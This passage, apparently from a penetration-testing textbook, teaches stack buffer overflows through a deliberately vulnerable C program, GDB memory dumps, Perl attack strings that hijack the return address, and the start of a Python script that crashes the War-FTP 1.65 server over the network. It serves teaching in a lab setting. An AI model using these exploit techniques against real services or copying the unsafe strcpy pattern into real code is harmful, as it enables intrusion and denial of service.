Say, for instance, that we are running a C program. Naturally, the function main is called when the program begins, and a stack frame is allocated for it. main then calls another function, function1. Before pushing a stack frame for function1 onto the stack and handing over execution, main notes where execution will need to continue when function1 returns (typically the line of code directly after the call to function1) by pushing this value—its return address—onto the stack. Figure 16-3 shows the stack after main’s call to function1.

A Stack-Based Buffer Overflow in Linux 363

low memory
ESP
function1’s stack frame

EBP

Saved EBP from main return address

main’s stack frame

high memory

Figure 16-3: Stack after call to function1

After function1 finishes, it returns, its stack frame is unwound, and the stored return address is loaded into the EIP register to restore execution to main. If we can control that return address, we can dictate which instructions are executed when function1 returns. In the next section, we’ll look at a simple stack-based buffer overflow example to illustrate this point.
Keep in mind a couple more things before we continue. In the examples in this book, we’re using older operating systems to get around some advanced antiexploitation techniques found on the most modern versions of both Windows and Linux. Particularly, we’ll take advantage of the lack of data execution prevention (DEP) and address space layout randomization (ASLR), because both of them would make it difficult to learn the basics of exploitation. DEP sets specific memory sections as nonexecutable, which stops us from filling our stack with shellcode and pointing EIP to it for execution (as you’ll see in the Windows buffer overflow example in
Chapter 17). ASLR randomizes where our libraries are loaded in memory.
In our examples, we’ll hardcode the return address to where we would like to go in memory, but in the post-ASLR exploit world, finding the correct place to send execution can be a bit trickier. We’ll touch on more advanced exploit-writing techniques in Chapter 19, but for now let’s get comfortable with the basics of how stack-based buffer overflows work.

Linux Buffer Overflow
Now that we’re done with the mind-numbing theory, let’s see a basic example of a buffer overflow exploit in action on our Linux target. First, let’s make sure the target is set up correctly for a basic buffer overflow. Modern operating systems have checks in place to prevent these attacks, but while we are learning, we need to turn them off. If you’re using the Linux target image provided with this book, it’s already set up correctly, but to make sure, check that randomize_va_space is set to 0 as shown here.
364 Chapter 16

georgia@ubuntu:~$ sudo nano /proc/sys/kernel/randomize_va_space randomize_va_space, when set to 1 or 2, turns on ASLR on our target system. By default, randomization is turned on in Ubuntu, but we need this feature off for our example. If the file includes the value 0, we’re all set. If not, change the file contents to 0 and save it.

A Vulnerable Program
Let’s write a simple C program called overflowtest.c that is vulnerable to a stack-based buffer overflow, as shown in Listing 16-1.
Note

This file is in georgia’s home directory on the Ubuntu target included in the book’s downloads. georgia@ubuntu:~$ nano overflowtest.c
#include <string.h>
#include <stdio.h> u void overflowed() { printf("%s\n", "Execution Hijacked");
}
v void function1(char *str){ char buffer[5]; strcpy(buffer, str);
}
w void main(int argc, char *argv[])
{
function1(argv[1]); printf("%s\n", "Executed normally");
}
Listing 16-1: Simple exploitable C program

Our simple C program doesn’t do very much. It starts off by including two C libraries, stdio.h and string.h. These allow us to use the standard input/output and string constructors in C without having to build them from scratch. We’ll want to use strings and output text to the console in our program. Next we have three functions: overflowed, function1, and main. If overflowed u is called, it prints the text “Execution Hijacked” to the console and then returns. If function1 v is called, it declares a local variable, a five-character string called buffer, and copies the contents of a variable passed to function1 into buffer. Called by default when the program starts, main w calls function1 and passes it the first command line argument the program received. After function1 returns, main prints the text “Executed normally” to the console, and the program exits.
A Stack-Based Buffer Overflow in Linux 365

Notice that under normal circumstances, overflowed is never called, so
“Execution Hijacked” should never appear in the console. (You’ll learn why it’s in the program at all when we overflow the buffer and hijack control of the program.)
Now we compile our program as shown here. georgia@ubuntu:~$ gcc -g -fno-stack-protector -z execstack -o overflowtest overflowtest.c

To compile our C code as shown above, we use GCC, the GNU Compiler
Collection, which is built into Ubuntu by default. The -g option tells GCC to add extra debugging information for GDB, the GNU debugger. We use the -fno-stack-protector flag to turn off GCC’s stack-protection mechanism, which would attempt to prevent buffer overflows if we left it turned on. The
-z execstack compiler option makes the stack executable, disabling another buffer overflow prevention method. We tell GCC to compile overflowtest.c into an executable called overflowtest with the -o option.
Recall that main takes the first command line argument to the program and feeds it to function1, which copies the value into a five-character local variable. Let’s run the program with the command line argument AAAA, as shown here. Make overflowtest executable with chmod if necessary. We use four As instead of five because a string ends with a null byte. Technically, if we used five As, we would already be overflowing the buffer, albeit by just one character. georgia@ubuntu:~$ ./overflowtest AAAA
Executed normally

As shown, the program does what we expected: main calls function1, function1 copies AAAA into buffer, function1 returns execution to main, and main prints “Executed normally” to the console before the program exits. Maybe if we give overflowtest some unexpected input, we can force it to behave in a way that will help us cause a buffer overflow.

Causing a Crash
Now let’s try giving the program a long string of As as an argument, as shown here. georgia@ubuntu:~$ ./overflowtest AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

This time, the program crashes with a segmentation fault. Our program’s problem lies with the implementation of strcpy, which we use in function1. The strcpy function takes one string and copies it into another, but it does not do any bounds checking to make sure the supplied argument will fit into the destination string variable. The strcpy function will attempt to copy three, five, or even hundreds of characters into our

366 Chapter 16

five-character destination string. If our string is five characters long and we copy in 100 characters, the other 95 will end up overwriting data at adja­­ cent memory addresses in the stack.
We could potentially overwrite the rest of function1’s stack frame and even higher memory. Remember what’s at the memory address immediately after the base of that stack frame? Before the frame was pushed on the stack, main pushed its return address onto the stack to designate where execution should continue once function1 returns. If the string we copy into buffer is long enough, we’ll overwrite memory from buffer straight through to EBP, over the return address, and even into main’s stack frame.
Once strcpy places the first argument from overflowtest into buffer, function1 returns back to main. Its stack frame is popped off the stack, and the CPU tries to execute the instruction at the memory location in the return address. Because we’ve overwritten the return address with a long string of
As, as shown in Figure 16-4, the CPU will try to execute the instructions at the memory address 41414141 (the hexadecimal representation of four As). low memory
ESP
function1’s stack frame

buffer = [AAAAA]
EBP

AAAA return address AAAA
AAAA
main’s stack frame

high memory

Figure 16-4: Memory after strcpy is executed

However, our program can’t read, write, or execute from anywhere it likes in memory because that would cause utter chaos. The memory address
41414141 is out of bounds for our program, and it crashes with the segmentation fault we saw at the beginning of this section.
In the next section, we’ll take a closer look behind the scenes when the program crashes. In GDB, discussed next, you can use the command maintenance info sections to see which memory regions are mapped to the process.

Running GDB
We can see exactly what’s happening in memory by running our program in a debugger. Our Ubuntu machine comes with GDB, so let’s open the program in the debugger, as shown here, and watch what happens in memory if we overflow our five-character buffer.
A Stack-Based Buffer Overflow in Linux 367

georgia@ubuntu:~$ gdb overflowtest
(gdb)

Before we run the program, we’ll set some breakpoints to pause execution at certain points in the program and allow us to view the state of memory at those times. Because we compiled the program with the -g flag, we can view the source code directly, as shown in Listing 16-2, and set breakpoints at the lines where we would like to pause.
(gdb)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb)

list 1,16
#include <string.h>
#include <stdio.h> void overflowed() { printf("%s\n", "Execution Hijacked");
}
void function(char *str){ char buffer[5]; strcpy(buffer, str); u
} v void main(int argc, char *argv[])
{
function(argv[1]); w printf("%s\n", "Executed normally");
}

Listing 16-2: Viewing source code in GDB

First, let’s pause the program right before main calls function1 at w, just before the instruction is executed. We’ll also set two more breakpoints, inside function1, right before strcpy is executed at u, and directly afterward, at v.
Setting breakpoints in GDB is shown in Listing 16-3. Set breakpoints at lines 14, 10, and 11 by using the GDB command break.
(gdb) break 14
Breakpoint 1 at 0x8048433: file overflowtest.c, line 14.
(gdb) break 10
Breakpoint 2 at 0x804840e: file overflowtest.c, line 10.
(gdb) break 11
Breakpoint 3 at 0x8048420: file overflowtest.c, line 11.
(gdb)
Listing 16-3: Setting breakpoints in GDB

Before we overflow buffer and cause the program to crash, let’s run it with just four As, as shown here, and watch memory as the program executes normally.
(gdb) run AAAA
Starting program: /home/georgia/overflowtest AAAA

368 Chapter 16

Breakpoint 1, main (argc=2, argv=0xbffff5e4) at overflowtest.c:14
14
function(argv[1]);

We use the GDB command run followed by arguments to start the program in the debugger. Here we run the program with four As as an argument. We hit our first breakpoint just before function1 is called, at which time we can examine the program’s memory using the GDB command x.
GDB needs to know which part of memory we want to see and how it should be displayed. Memory contents can be displayed in octal, hexadecimal, decimal, or binary format. We’ll see a lot of hexadecimal in our journey through exploit development, so let’s use the x flag to tell GDB to display our memory in hexadecimal format.
We can also output memory in increments of one byte, a two-byte halfword, a four-byte word, and an eight-byte giant. Let’s look at 16 hexadecimal format words starting at the ESP register with the command x/16xw $esp, as shown in Listing 16-4.
(gdb) x/16xw $esp
0xbffff540:
0xb7ff0f50
0xbffff550:
0x08048470
0xbffff560:
0x00000002
0xbffff570:
0x00000001

0xbffff560
0x08048340
0xbffff5e4
0x00000001

0xbffff5b8
0xbffff5b8
0xbffff5f0
0x00000000

0xb7e8c685
0xb7e8c685
0xb7fe2b38
0x08048249

Listing 16-4: Examining the contents of memory

The x/16xw $esp command prints out 16 four-byte words in hexadecimal format, starting with ESP. Recall from earlier in the chapter that ESP marks the lowest memory address in our stack. Because our first breakpoint paused execution right before the call to function1, ESP is at the top of main’s stack frame.
The output of memory in GDB in Listing 16-4 might be a bit confusing at first, so let’s break it down. On the far left, we have our memory addresses in
16-byte increments, followed by the contents of memory at those addresses.
In this case, the first four bytes will be the contents of ESP followed by additional memory, starting at ESP and continuing down the stack.
We can find EBP, which points at the bottom (or highest address) of main’s stack frame, by examining EBP as shown here with the command x/1xw $ebp.
(gdb) x/1xw $ebp
0xbffff548:
0xbffff5b8
(gdb)

This command allows us to examine one hexadecimal word from EBP to find the memory location and contents of the EBP register. Based on the output, main’s stack frame looks like this:
0xbffff540:

0xb7ff0f50

0xbffff560

0xbffff5b8

As you can see, there’s not much to it, but then again, all main does is call another function and then print a line of text to the screen; there’s no heavy-duty processing required.
A Stack-Based Buffer Overflow in Linux 369

Based on what we know about the stack, we can expect that when we let the program continue and function1 is called, the return address for main and a stack frame for function1 will be pushed onto the stack. Remember that the stack grows to lower memory addresses, so the top of the stack will be at a lower memory address when we hit our next breakpoint inside of function1. Recall that our next breakpoint is inside function1 right before the strcpy command is executed. Use the command continue to let the program run until the next breakpoint, as shown in Listing 16-5.
(gdb) continue
Continuing.
Breakpoint 2, function (str=0xbffff74c "AAAA") at overflowtest.c:10
10
strcpy(buffer, str);
(gdb) x/16xw $espu
0xbffff520:
0xb7f93849
0x08049ff4
0xbffff538
0x080482e8
0xbffff530:
0xb7fcfff4
0x08049ff4
0xbffff548
0x08048443
0xbffff540:
0xbffff74f
0xbffff560
0xbffff5b8
0xb7e8c685
0xbffff550:
0x08048470
0x08048340
0xbffff5b8
0xb7e8c685
(gdb) x/1xw $ebpv
0xbffff538:
0xbffff548
Listing 16-5: Breakpoint before the strcpy command

After using the continue command to run the program until the next breakpoint, examine ESP at u and EBP at v to see the contents of function1’s stack frame. function1’s stack frame is shown here.
0xbffff520:
0xbffff530:

0xb7f93849
0xb7fcfff4

0x08049ff4
0x08049ff4

0xbffff538
0xbffff548

0x080482e8

The stack frame for function1 is a bit larger than main’s. There’s some memory allocated for the local variable buffer, along with a little extra space for strcpy to work with, but there’s certainly not enough room for 30 or 40 As.
Recall from the last breakpoint that main’s stack frame began at memory address 0xbffff540. Based on our knowledge of the stack, 0x08048443, the four-byte memory address between function1’s stack frame and main’s stack frame, should be our return address for main. Let’s disassemble main with the disass command, as shown in Listing 16-6, to see where 0x08048443 comes in.
(gdb) disass main
Dump of assembler code for function main:
0x08048422 <main+0>: lea 0x4(%esp),%ecx
0x08048426 <main+4>: and $0xfffffff0,%esp
0x08048429 <main+7>: pushl -0x4(%ecx)
0x0804842c <main+10>: push %ebp
0x0804842d <main+11>: mov %esp,%ebp
0x0804842f <main+13>: push %ecx
0x08048430 <main+14>: sub $0x4,%esp
0x08048433 <main+17>: mov 0x4(%ecx),%eax
0x08048436 <main+20>: add $0x4,%eax
0x08048439 <main+23>: mov (%eax),%eax

370 Chapter 16

0x0804843b <main+25>:
0x0804843e <main+28>:
0x08048443 <main+33>:
0x0804844a <main+40>:
0x0804844f <main+45>:
0x08048452 <main+48>:
0x08048453 <main+49>:
0x08048454 <main+50>:
0x08048457 <main+53>:
End of assembler dump.

mov call movl call add pop pop lea ret

%eax,(%esp)
0x8048408 <function1> u
$0x8048533,(%esp) v
0x804832c <puts@plt>
$0x4,%esp
%ecx
%ebp
-0x4(%ecx),%esp

Listing 16-6: Disassembled main function

If you aren’t fluent in assembly code, don’t worry. The instruction we’re looking for jumps out at us in plain English: At 0x0804843e u, main calls the memory address of function1. It stands to reason that the next instruction to be executed when function1 exits (and thus our return address) will be the next instruction in the list. And sure enough, the next line at v shows the return address we found on the stack. Everything looks just like the theory says it should.
Let’s allow the program to continue and see what happens in memory when our four As are copied into buffer. After the program pauses at the third breakpoint, examine memory in the usual way, as shown in Listing 16-7.
(gdb) continue
Continuing.
Breakpoint 3, function (str=0xbffff74c "AAAA") at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff520:
0xbffff533
0xbffff74c
0xbffff538
0x080482e8
0xbffff530:
0x41fcfff4
0x00414141u 0xbffff500
0x08048443
0xbffff540:
0xbffff74c
0xbffff560
0xbffff5b8
0xb7e8c685
0xbffff550:
0x08048470
0x08048340
0xbffff5b8
0xb7e8c685
(gdb) x/1xw $ebp
0xbffff538:
0xbffff500
Listing 16-7: Examining memory at breakpoint 3

As shown, we’re still inside function1, so our stack frame location is the same. Inside function1’s stack frame, we can see our four As u represented in hexadecimal as 41 followed by 00 for the ending null byte. They fit nicely in our five-character buffer, so our return address is still intact, and everything works as expected when we let the program continue, as shown in
Listing 16-8.
(gdb) continue
Continuing.
Executed normally
Program exited with code 022.
(gdb)
Listing 16-8: The program finishes normally.
A Stack-Based Buffer Overflow in Linux 371

Sure enough, “Executed normally” prints to the screen.
Now, let’s run the program again, this time overflowing our buffer with too many characters, and watch what happens in memory.

Crashing the Program in GDB
We could enter a long string of As, or we could let the Perl scripting language generate that string for us, as shown in Listing 16-9. (Perl will come in handy later when we try to hijack execution with an actual memory address rather than crash the program.)
(gdb) run $(perl -e 'print "A" x 30') u
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 30')
Breakpoint 1, main (argc=2, argv=0xbffff5c4) at overflowtest.c:14
14
function(argv[1]);
(gdb) x/16xw $esp
0xbffff520:
0xb7ff0f50
0xbffff540
0xbffff598
0xb7e8c685
0xbffff530:
0x08048470
0x08048340
0xbffff598
0xb7e8c685
0xbffff540:
0x00000002
0xbffff5c4
0xbffff5d0
0xb7fe2b38
0xbffff550:
0x00000001
0x00000001
0x00000000
0x08048249
(gdb) x/1xw $ebp
0xbffff528:
0xbffff598
(gdb) continue
Listing 16-9: Running the program with 30 As as an argument

Here we tell Perl to execute the command print to make a string of 30 As and feed the results in as the argument to overflowtest u. When strcpy tries to place such a long string into our five-character buffer, we can expect to see parts of our stack get overwritten with As. When we hit our first breakpoint, we’re still in main, and everything looks normal so far. The trouble shouldn’t start until our third breakpoint, after strcpy is executed with too many As.
Note

main’s stack frame is still 12 bytes long, though it has moved 32 bytes up the stack.

This is due to changes in the length of the command line argument, and so on. The size of the stack frame will be consistent throughout.
Let’s note one thing at the second breakpoint in Listing 16-10 before we move on to the really interesting part.
Breakpoint 2, function (str=0xbffff735 'A' at overflowtest.c:10
10
strcpy(buffer, str);
(gdb) x/16xw $esp
0xbffff500:
0xb7f93849
0x08049ff4
0xbffff510:
0xb7fcfff4
0x08049ff4
0xbffff520:
0xbffff735
0xbffff540
0xbffff530:
0x08048470
0x08048340
(gdb) x/1xw $ebp
0xbffff518:
0xbffff528

372 Chapter 16

<repeats 30 times>)

0xbffff518
0xbffff528
0xbffff598
0xbffff598

0x080482e8
0x08048443u
0xb7e8c685
0xb7e8c685

(gdb) continue
Continuing.
Listing 16-10: Examining memory at breakpoint 2

You can see here that function1’s stack frame has also moved up 32 bytes.
Also note that our return address still holds the memory address 0x08048443 u.
Though our stack frame has moved around a bit, the instructions in memory to be executed are in the same place.
Use the continue command again to move on to the third breakpoint.
This is where things get interesting, as shown in Listing 16-11.
Breakpoint 3, function (str=0x41414141 <Address 0x41414141 out of bounds>) at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff500:
0xbffff513
0xbffff733
0xbffff518
0x080482e8
0xbffff510:
0x41fcfff4
0x41414141
0x41414141
0x41414141
0xbffff520:
0x41414141
0x41414141
0x41414141
0x41414141
0xbffff530:
0x08040041
0x08048340
0xbffff598
0xb7e8c685
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Listing 16-11: Return address overwritten by As

Let’s examine the memory again at our third breakpoint, directly after strcpy but before function1 returns to main. This time, not only is the return address overwritten by As at u but part of main’s stack frame is overwritten

as well. At this point, there is no hope for the program to recover.
When function1 returns, the program attempts to execute the instructions at the return address for main, but the return address has been overwritten with our As, causing the expected segmentation fault when trying to execute the instruction at the memory address 41414141. (In the coming sections, we’ll discuss replacing the return address with something that redirects the program to code of our own instead of crashing it.)

Controlling EIP
Making the program crash is interesting in and of itself, but as exploit developers, our goal is to hijack execution if possible and get the target
CPU to execute code on our behalf. Perhaps by manipulating the crash, we can execute other instructions that the developer never intended.
Currently, our program crashes when it tries to execute the instructions at the memory address 41414141, which is out of bounds. We need to change our argument string to include a valid memory address that our program can access. If we can replace the return address with another valid memory location, we should be able to hijack execution when function1 returns.
A Stack-Based Buffer Overflow in Linux 373

Perhaps the developer even left some debugging code in the program that we can use to illustrate this purpose. (But I’m getting a bit ahead of myself here.)
To redirect execution, we first need to determine where the return address is overwritten by our long string of As. Let’s look back at what our stack looked like when we ran our program normally with only four characters for our argument, as shown here.
0xbffff520:
0xbffff530:

0xbffff533
0x41fcfff4

0xbffff74c
0x00414141u

0xbffff538
0xbffff500v

0x080482e8
0x08048443w

We can see where the four As u were copied into the local variable, buffer. Now, recall that the four bytes directly after EBP v contain the return address 0x08048443 w. We can see that after the four As, there are five more bytes in function1’s stack frame, which come before the return address.

Looking at memory, it stands to reason that if we give our program an argument that is 5 + 4 + 4 bytes long, the last four bytes will overwrite the return address. We can test this by sending our program an argument of nine As followed by four Bs. If our program crashes when trying to execute the instruction at memory address 42424242 (the hexadecimal representation of B), we’ll know we have calculated our offset correctly.
We can use Perl again to help us create our argument string, as shown in
Listing 16-12.
(gdb) delete 1
(gdb) delete 2
(gdb) run $(perl -e 'print "A" x 9 . "B" x 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "B" x 4')
Listing 16-12: Starting the program with a new attack string

Before we run the program with this new argument, delete the first two breakpoints because the state of memory won’t change in an interesting way until our third breakpoint, after strcpy is executed.
Start the program using Perl, with nine As followed by four Bs as the attack string. Because the program crashed on its last run, you will be asked if you would like to start from the beginning. Enter y for yes. When we examine memory at our only remaining breakpoint, everything looks as predicted, as shown in Listing 16-13.
Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11
}
(gdb) x/20xw $esp
0xbffff510:
0xbffff523
0xbffff744
0xbffff528
0x080482e8
0xbffff520:
0x41fcfff4
0x41414141
0x41414141
0x42424242u
0xbffff530:
0xbffff700
0xbffff550
0xbffff5a8
0xb7e8c685
0xbffff540:
0x08048470
0x08048340
0xbffff5a8
0xb7e8c685
0xbffff550:
0x00000002
0xbffff5d4
0xbffff5e0
0xb7fe2b38
(gdb) continue

374 Chapter 16

Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Listing 16-13: Overwriting the return address with Bs

Where we previously saw our return address (0x08048443), we now have
0x42424242. If we let the program continue, we can see that it crashes while trying to execute the memory address of four Bs u. This is once again out of bounds, but at least now we know where to place the address of the code we want to execute.
We have now pinpointed which four bytes in our attack string overwrite the return address. Remember that the return address is loaded into EIP when function1 returns. Now we just need to find somewhere more interesting to send execution than 41414141 or 42424242.

Hijacking Execution
We’ve determined where to overwrite the return address in our argument string, but we still need something to put there. (This example may seem a bit contrived compared to the rest of the exploit development examples we’ll cover, but it illustrates the underlying concepts well.) We’ve managed to manipulate an issue with the strcpy function used by the program to break out of the buffer variable and overwrite additional memory addresses, including the return address.
Looking back at our source code for overflowtest.c, recall the program contains another function in addition to main and function1. The first function in the program, called overflowed, prints “Execution Hijacked” out to the console and then returns. This extra function is never called when the program runs normally, but as its output implies, we can use it to hijack execution.
Returning to our debugger, if we can find the start of overflowed in memory, we should be able to replace our four Bs with that memory address, overwrite the return address, and force the program to execute instructions the developers didn’t intend it to. We have the source code and know the function name we are looking for, so this task is trivial. Let’s just disassemble overflowed and find out where it is loaded in memory, as shown in Listing 16-14.
(gdb) disass overflowed
Dump of assembler code for function overflowed: u 0x080483f4 <overflowed+0>: push %ebp
0x080483f5 <overflowed+1>: mov %esp,%ebp
0x080483f7 <overflowed+3>: sub $0x8,%esp
0x080483fa <overflowed+6>: movl $0x8048520,(%esp)
0x08048401 <overflowed+13>: call 0x804832c <puts@plt>
0x08048406 <overflowed+18>: leave 0x08048407 <overflowed+19>: ret End of assembler dump.
(gdb)
Listing 16-14: Disassembling overflowed
A Stack-Based Buffer Overflow in Linux 375

As you can see, the memory address 0x80483f4 u holds the first instruction of overflowed. If we redirect our program here, it will execute all the instructions in that function.
Note

This won’t give us a reverse shell or join the target to a botnet; it will only print out
“Execution Hijacked” to the screen. We will look at more exciting execution hijacks in the exploit development examples in the next three chapters.
We can use Perl to help us create our argument string, which will include hexadecimal bytes for the memory address we want to use to overwrite the return address, as shown here.

(gdb) run $(perl -e 'print "A" x 9 . "\x08\x04\x83\xf4"')
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "\x08\x04\x83\xf4"')

This time, we replace our four Bs with \x08\x04\x83\xf4, which should redirect execution to the beginning of overflowed. But things don’t work out as planned, as shown in Listing 16-15.
Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff510:
0xbffff523
0xbffff744
0xbffff528
0x080482e8
0xbffff520:
0x41fcfff4
0x41414141
0x41414141
0xf4830408u
0xbffff530:
0xbffff700
0xbffff550
0xbffff5a8
0xb7e8c685
0xbffff540:
0x08048470
0x08048340
0xbffff5a8
0xb7e8c685
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xf4830408 in ?? ()
Listing 16-15: The return address bytes are flipped.

As you can see, we hit our breakpoint as expected, but when we examine memory, we seem to have a little problem. The memory address of the first instruction in overflowed is 0x80483f4, but the return address on our stack is 0xf4830408 u. The digits aren’t entirely reversed, but the bytes are in the wrong order.
Recall that two hexadecimal digits make up one byte. When we let the program continue, we receive another access violation for trying to execute data at 0xf4830408. We know that the program crashes because the new return address is wrong, so let’s look at how those bytes wound up out of order in the first place so we can fix the problem.

Endianness
When I was first learning basic exploit development, I spent many hours scratching my head and wondering what could possibly be keeping my exploit from working. I had run into this same problem, and unfortunately, I hadn’t been paying attention in operating systems class when we covered endianness.
376 Chapter 16

In the 1726 novel Gulliver’s Travels, Jonathan Swift’s titular character is shipwrecked on the island of Lilliput. Lilliput is currently on bad terms with neighboring Blefuscu because of a dispute about how to properly crack an egg. In Lilliput, eggs are cracked at the little end, and in Blefuscu, eggs are cracked at the big end. We have a similar dispute in computer science regarding byte order. Big endians believe that the most significant byte should be stored first, whereas little endians store the least significant byte first. Our Ubuntu virtual machine has an Intel architecture, which is little endian. To account for little-endian architecture, we need to flip the bytes of our memory address around, as shown here.
(gdb) run $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/georgia/overflowtest $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')

Using the return address \xf4\x83\x04\x08 with the byte order flipped for our Intel architecture fixes our problem, as shown in Listing 16-16.
Breakpoint 3, function (str=0xbffff700 "\017") at overflowtest.c:11
11
}
(gdb) x/16xw $esp
0xbffff510:
0xbffff523
0xbffff744
0xbffff528
0x080482e8
0xbffff520:
0x41fcfff4
0x41414141
0x41414141
0x080483f4
0xbffff530:
0xbffff700
0xbffff550
0xbffff5a8
0xb7e8c685
0xbffff540:
0x08048470
0x08048340
0xbffff5a8
0xb7e8c685
(gdb) continue
Continuing.
Execution Hijacked u
Program received signal SIGSEGV, Segmentation fault.
0xbffff700 in ?? ()
(gdb)
Listing 16-16: Successfully hijacking execution

This time when we hit the breakpoint, our return address looks correct.
Sure enough, when we let the program continue, “Execution Hijacked” is printed to the console at u, meaning we have successfully hijacked execution and exploited a buffer overflow vulnerability.
To see the results outside the debugger, we run overflowtest from the command line with an argument that includes the new return address, as shown here. georgia@ubuntu:~$ ./overflowtest $(perl -e 'print "A" x 9 . "\xf4\x83\x04\x08"')
Execution Hijacked
Segmentation fault

A Stack-Based Buffer Overflow in Linux 377

Note that after overflowed returns, the program crashes with a segmentation fault when executing the memory address bffff700. This address is the same as the next four bytes on the stack after our return address. And thinking back to how memory works, this makes sense, but our “malicious” code was fully executed prior to the crash. After the stack frame for overflowed is popped off the stack, bffff700 appears to be in the place of the return address. We sent execution straight to overflowed without normal functioncalling things like saving a return address. When overflowed’s stack frame is unwound from the stack, the next memory address of the stack is assumed to be the return address, but this is just part of main’s stack frame, so we crash.
How might you augment your attack string to fix this? You guessed it:
You could add another four bytes to our attack string, sending execution back to the original return address in main. Because we have corrupted main’s stack frame, we may still run into trouble down the line, but we can meet our goal of tricking the program into executing code on our behalf.

Summary
In this chapter we looked at a simple C program with a buffer overflow vulnerability (namely the use of the insecure strcpy function) that does not check its array boundaries, which allows us to write to adjacent memory. We exploited this issue by writing a longer string to the command line than the program expected. We hijacked the program’s execution by overwriting a function’s return address with our own value. We sent execution to another function included in the original program.
Now that you’ve seen a basic example of a stack-based overflow, let’s move on to something a bit more complex. In the next chapter, our example will focus on a Windows-based target and a real-world target program.

378 Chapter 16

17

A S t a c k- B a s e d B u f f e r
Ov e r f l o w i n W i n d o w s

In this chapter, we will look at exploiting a stack-based buffer overflow in an older version of a Windows-based
FTP server. As we did in Chapter 16, we will attempt to overwrite the return pointer saved onto the stack when a function is called, as shown earlier in Figure 16-3 on page 364.
When the function main calls function1, the next instruction to be executed is saved on the stack, and a stack frame for function1 is added to the stack.
The size of function1’s local variables is determined when the application is compiled and fixed. The amount of space “reserved” on the stack for these local variables is fixed, too. This reservation is called a stack buffer. If we put more data in the stack buffer than it can hold, we will cause the buffer to overflow. Then we may be able to overwrite the saved return address, which is placed after the stack buffer, and take control of program execution. (For a more detailed review of this process, see Chapter 16.)
In Chapter 1, we installed War-FTP version 1.65 on the Windows XP target, but we didn’t start it. We have exploited the FileZilla FTP server in previous chapters, and if you’ve been following along, that FTP server is still

running. Before we can use War-FTP, we need to stop the FileZilla FTP server using the XAMPP control panel.
This will open TCP port 21 for War-FTP. Open WarFTP on the Windows XP desktop by double clicking its icon (see Figure 17-1), and click the lightning bolt in the top-left corner of the War-FTP window to put it online (see Figure 17-2).

Figure 17-1: WarFTP icon

Searching for a Known Vulnerability in War-FTP
A search on Google for known vulnerabilities in War-FTP 1.65 finds the following information on SecurityFocus.com:
War-FTP Username Stack-Based Buffer-Overflow Vulnerability
War-FTP is prone to a stack-based buffer-overflow vulnerability because it fails to properly check boundaries on user-supplied data before copying it to an insufficiently sized buffer.
Exploiting this issue could lead to denial-of-service conditions and to the execution of arbitrary machine code in the context of the application.

In Chapter 16, we overflowed a function’s local variable on the stack with supplied input and redirected execution to a memory location of our choosing. Based on this information from SecurityFocus.com, it looks like we can do something similar with War-FTP 1.65. In this chapter, we will manually exploit War-FTP 1.65’s stack-based buffer overflow vulnerability in the
Username field of the FTP login. Now that we are using a real program rather than demo code, we will learn more about writing real exploits. For example, this time we won’t be able to simply redirect execution to another function; we will instead need to introduce instructions to be executed as part of our attack string.
To get started, make sure War-FTP 1.65 is open and running on your Win­ dows XP virtual machine. (The lightning bolt icon in the top-left corner of the
GUI shown in Figure 17-2 tells the server to listen for incoming connections.)
The issue we are going to exploit is particularly dangerous because an attacker does not need to log in to the FTP server before launching an attack. Thus, we do not need to add any legitimate users to the FTP server for this attack to work.
Before we dive in and start trying to exploit War-FTP, let’s hook it up to a debugger. Immunity Debugger should be on the desktop of your
Windows XP target because we installed it in Chapter 1. If it is not, follow the instructions in Chapter 1 for setting up Immunity Debugger and the
Mona plugin. Like GDB, Immunity Debugger will allow us to see the internals of memory as we attempt to exploit War-FTP. Unfortunately, we don’t have source code to guide us toward a successful exploit, but by watching our program in memory as we send it attack strings, we should still be able to develop a working exploit.
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Figure 17-2: War-FTP 1.65 GUI

Start Immunity Debugger, open the File menu, and select Attach. We want to attach Immunity Debugger to the running War-FTP process, which we see in the process list in Figure 17-3. Highlight War-FTP 1.65, and click
Attach.

Figure 17-3: Process list in the Immunity Debugger interface

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When Immunity Debugger first attaches to a process, it pauses the process’s execution. If at any point your exploit just randomly stops working, check to make sure the process is running. A paused process isn’t listening for incoming connections, and, as you can see in the lower-right corner of the Immunity Debugger window in Figure 17-4, the process is paused.
Click the Play button at the top-left corner of the screen to tell the process to continue running.

Figure 17-4: War-FTP pauses in Immunity Debugger.

With War-FTP running in Immunity Debugger, we can figure out how to exploit its buffer overflow vulnerability.

Causing a Crash
In Chapter 19, we will use a technique called fuzzing to look for potential vulnerabilities in programs, but for now, follow my lead on which attack strings to use to crash the program. In the Username field of the FTP login, let’s send a string of 1,100 As instead of a username. Rather than attacking our program locally, as we did in the previous example, this time we will

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create our exploit in Kali Linux and set up the exploit to talk to the FTP server over the network. Listing 17-1 shows a starter exploit that will cause the War-FTP program to crash.
Note

Our exploit examples are written in Python, but they can easily be ported into another language if you’d prefer to use a different one. root@kali:~# cat ftpexploit
#!/usr/bin/python
import socket buffer = "A" * 1100 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) u connect=s.connect(('192.168.20.10',21)) u response = s.recv(1024) print response v
s.send('USER ' + buffer + '\r\n') w response = s.recv(1024) print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-1: Python exploit to crash War-FTP

